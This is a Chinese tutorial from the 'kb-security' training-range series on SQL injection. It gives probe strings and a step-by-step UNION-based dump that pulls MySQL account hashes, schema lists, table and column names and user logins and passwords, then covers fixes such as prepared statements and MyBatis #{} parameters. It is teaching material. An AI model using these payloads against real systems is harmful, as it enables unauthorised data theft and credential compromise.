安全平台kb-security:数据库脚本攻击【五】

安全平台介绍

身处互联网浪潮中的弄潮儿们，你是否了解那潮水中的暗流（安全漏洞）?
你是否已经掌握了安全知识，但苦于无的放矢，而渐渐淡忘？
你是否对黑客技术痴迷，却苦于无处着手？

今天，给大家推荐一个工具：kb-security

• 深入的理论讲解

• 丰富的实战操作

• 平台化的演练耙场

  开源项目地址： kb-security ，如果能帮到你，请帮忙点个星。谢谢~
  kb-security 是一站式的解决方案：深入的理论讲解、丰富的实战操作、平台化的演练耙场…助你,解锁“安全技术包”。

数据库脚本攻击简介

SQL注入是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行。它可以通过在Web表单、URL、请求参数等中输入（恶意）SQL语句，最终欺骗服务器执行恶意SQL，达到入侵的效果。

原因分析

• 主要原因：过于信任客户端提交的数据，后端执行SQL未执行预处理。
• 解决办法：涉及到接收用户传入的参数部分，做好相应的SQL预处理。
• 进一步分析细节：
  客户端提交的数据本来就是应用所需要的，但是恶意攻击者利用网站对客户端提交数据的信任，在数据中插入SQL命令，如果SQL没有做相应的预处理，这些注入的SQL命令就会成为被执行的SQL的一部分。那么，攻击者就可以利用这个漏洞达到入侵的目的。
  因此我们绝不可以信任任何客户端提交的数据，做好SQL的预处理！！！

常见注入语句

1. 给参数赋值单引号’，查看页面或接口变化（字符型）
2. 给参数赋值双引号"，查看页面或接口变化（字符型）
3. 给参数赋值’ and ‘1’=‘1或’ or ‘1’='1，查看页面或接口变化（字符型）
4. 给参数赋值" and “1”=“2或” or “1”="2，查看页面或接口变化（字符型）
5. 给参数赋值 1 and 1=1或 1 or 1=1，查看页面或接口变化（数字型）
6. 给参数赋值 1 and 1=2 或 1 or 1=2，查看页面或接口变化（数字型）
7. 给参数赋值 ’ or '，查看页面或接口变化（搜索型）
8. 给参数赋值 ’ and 1=1 and ‘%’=’ 或 ’ and 1=2 and ‘%’=’，查看页面或接口变化（搜索型）
9. 给参数赋值 ’ – ,查看页面或接口变化（中断语句）

注入类型分类

• 1、数字型注入
  测试方法：
  http://xx.xx.xx/test?id=1 and 1=1 返回成功
  http://xx.xx.xx/test?id=1 and 1=2 返回失败
  原因分析：
  假设test接口的后端SQL如下：
  SELECT * FROM user WHERE id=$id这里的$id是用户提交的id
  当我们输入的是 ： 1 and 1=1
  语句就变成了这样： SELECT * FROM user WHERE id=1 and 1=1
  这个SQL语句and左边是返回成功的，因为我们是在有这个id的情况下后面加上我们的注入语句
  而在and右边，1=1也是恒成立的，所以整个语句返回的是成功
  当然，如果后面改成了1=2的话，因为1=2是不成立的，and语句的判断逻辑是只要有一个不成立，就返回失败，所以1=2最后会返回的是失败
• 2、字符型注入
  测试方法：
  http://xx.xx.xx/test?name=admin’ and ‘1’=‘1 返回成功
  http://xx.xx.xx/test?name=admin’ and ‘1’='2 返回失败
  原因分析：
  假设test接口的后端SQL如下：
  SELECT * FROM user WHERE name=‘$nam{e}^{\prime }这里的$name是用户提交的name
  当我们输入的是：admin’ and ‘1’='1
  语句就变成了这样 ：SELECT * FROM user WHERE name=‘admin’ and ‘1’=‘1’
  这个SQL语句and左边是返回成功的，因为我们是在有这个id的情况下后面加上我们的注入语句
  而在and右边，‘1’=‘1’也是恒成立的，所以整个语句返回的是成功
  当然，如果后面改成了’1’=‘2’的话，因为’1’=‘2’是不成立的，and语句的判断逻辑是只要有一个不成立，就返回失败，所以’1’='2’最后会返回的是失败
• 3、搜索型注入
  测试方法：
  http://xx.xx.xx/test?kw=’ and 1=1 and ‘%’=‘返回成功
  http://xx.xx.xx/test?kw=’ and 1=2 and ‘%’=‘返回失败
  原因分析：
  假设test接口的后端SQL如下：
  SELECT * FROM user WHERE name like’%$name这里的$name是用户提交的name
  当我们输入的是 ：’ and 1=1 and ‘%’=’
  语句就变成了这样 ：SELECT * FROM user WHERE name like’%’ and 1=1 and ‘%’=’%’
  这个SQL语句and左边是返回成功的，因为我们是在有这个id的情况下后面加上我们的注入语句
  而在and右边，1=1也是恒成立的，所以整个语句返回的是成功
  当然，如果后面改成了1=2的话，因为1=2是不成立的，and语句的判断逻辑是只要有一个不成立，就返回失败，所以1=2最后会返回的是失败

进阶注入（脱库）

学习了上面的注入后，你是不是觉得SQL注入也不过如此，貌似也没有什么攻击性或严重的破坏性。那么，我们下面介绍一下如何利用存在的sql注入漏洞进行脱库操作。

• 1、确认SQL注入类型
  打开聊天列表页面，并打开注入开关。在搜索框中输入常用注入语句，当输入’ or’ 时，页面返回全部搜索结果，确认注入类型为搜索型注入漏洞。

• 2、确认查询列数
  

• 3、确认字段显示的位置
  当存在sql注入漏洞的功能存在前端界面和列表时，可以使用union select 1,2,3…的方式来判断，字段在列表中显示的位置，从而来推测字段的类型，帮助进一步的入侵。输入命令：’ union select 1,2,3,4,5,6 '，结果如下图
  

• 4、获取数据库相关信息
  如从步骤3中我们了解到第2为字符串类型，我们可以利用mysql CONCAT函数来连接字符串，达到显示想得到的数据库配置信息，输入命令：’ union select 1,CONCAT(‘user——’,user(),’;db——’,database(),’;version——’,version()),3,4,11,6,7 ',结果如下图：
  

• 5、获取数据库账号密码
  利用数据库系统表:MYSQL.USER来达到获取数据库账号和密码的目的。输入命令：’ union select 1,CONCAT(‘username——’,user,’;password——’,authentication_string),3,4,11,6,7 from MYSQL.USER – ,结果如下图：
  

• 6、爆库
  利用数据库系统表:INFORMATION_SCHEMA.TABLES来达到获取数据库列表的目的。输入命令：’ union select 1,TABLE_SCHEMA,3,4,11,6,7 from INFORMATION_SCHEMA.TABLES GROUP BY TABLE_SCHEMA – ,结果如下图所示：
  

• 7、爆表
  利用数据系统表：INFORMATION_SCHEMA.TABLES来达到获取数据库表的目的。输入命令：’ and 1=2 union select 1,TABLE_NAME,3,4,11,6,7 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=‘kb-security’ – ，结果如下图所示：
  

• 8、爆字段
  利用数据系统表：INFORMATION_SCHEMA.COLUMNS来达到获取数据库表的目的。输入命令：’ and 1=2 union select 1,COLUMN_NAME,3,4,11,6,7 from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘user_info’ – ，结果如下图所示：
  - 9、爆字段内容
  根据以上步骤我们已经可以知道表：user_info的所有字段信息，现在我们来获取user_info表的内容，输入命令：’ and 1=2 union select 1,CONCAT(‘login_name——’,login_name,’;login_pwd——’,login_pwd),3,4,11,6,7 from user_info – ,结果如下图所示：
  

• 10、更多攻击可能，等待你来补充哦…

漏洞修复

从上面的操作我们可以看到sql注入对于系统的破坏力，如何才能做到防止数据库的注入漏洞呢？

1. 过滤字符串
   不可信任用户输入任何数据，要对用户输入的数据进行过滤， 避免可能存在的注入风险

2. 注入接口、页面等异常的封装，避免将SQL异常直接打印到前台。
   如果SQL的异常信息直接打印到前端，会导致数据库信息的泄漏，将方便攻击者进行更有效的攻击，异常如下：

"message":"The used SELECT statements have a different number of columns","sQLState":"21000"
"localizedMessage":"Bad format for Timestamp 
...

3. SQL预处理（最好的方案）
   对于SQL注入的漏洞我们可以使用SQL预处理和机制来避免，那么为什么SQL预处理可以避免SQL注入呢？
   其实是因为SQL语句在程序运行前已经进行了预编译，在程序运行时第一次操作数据库之前，SQL语句已经被数据库分析，编译和优化，对应的执行计划也会缓存下来并允许数据库已参数化的形式进行查询，当运行时动态地把参数传给PreprareStatement时，即使参数里有敏感字符如 or '1=1’也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令，如此，就起到了SQL注入的作用了！
   当输入相同的注入命令 ’ or ’ ：我们看一下预处理和sql和未预处理的sql,如下：

   没有执行预处理的sql
   select id, title, content, employee_name, create_time,praise_count from chat_info where 1=1 and title like ‘%’ or ‘%’ order by id desc limit ?,?

   执行预处理的sql
   select id, title, content, employee_name, create_time,praise_count from chat_info where 1=1 and title like CONCAT(’%’,?,’%’) order by id desc limit ?,?

   当使用mybatis的时候，如何才能打开sql预处理呢？使用#{}来引用参数就可以了,如下：

    
        select
        
        from chat_info
        where 1=1
        
            and (title like CONCAT('%',#{searchKey},'%'))
        
        
            order by id desc
        
        
            order by praise_count desc
        
        
            
                limit #{startNum},#{pageSize}
            
            
                limit 100
            
        
    

注意代码中使用${}来引用参数的地方，这些地方可能存在注入的风险哦！

上一篇： 安全平台kb-security:跨站点脚本攻击【四】
下一篇：安全平台kb-security:Session劫持攻击【六】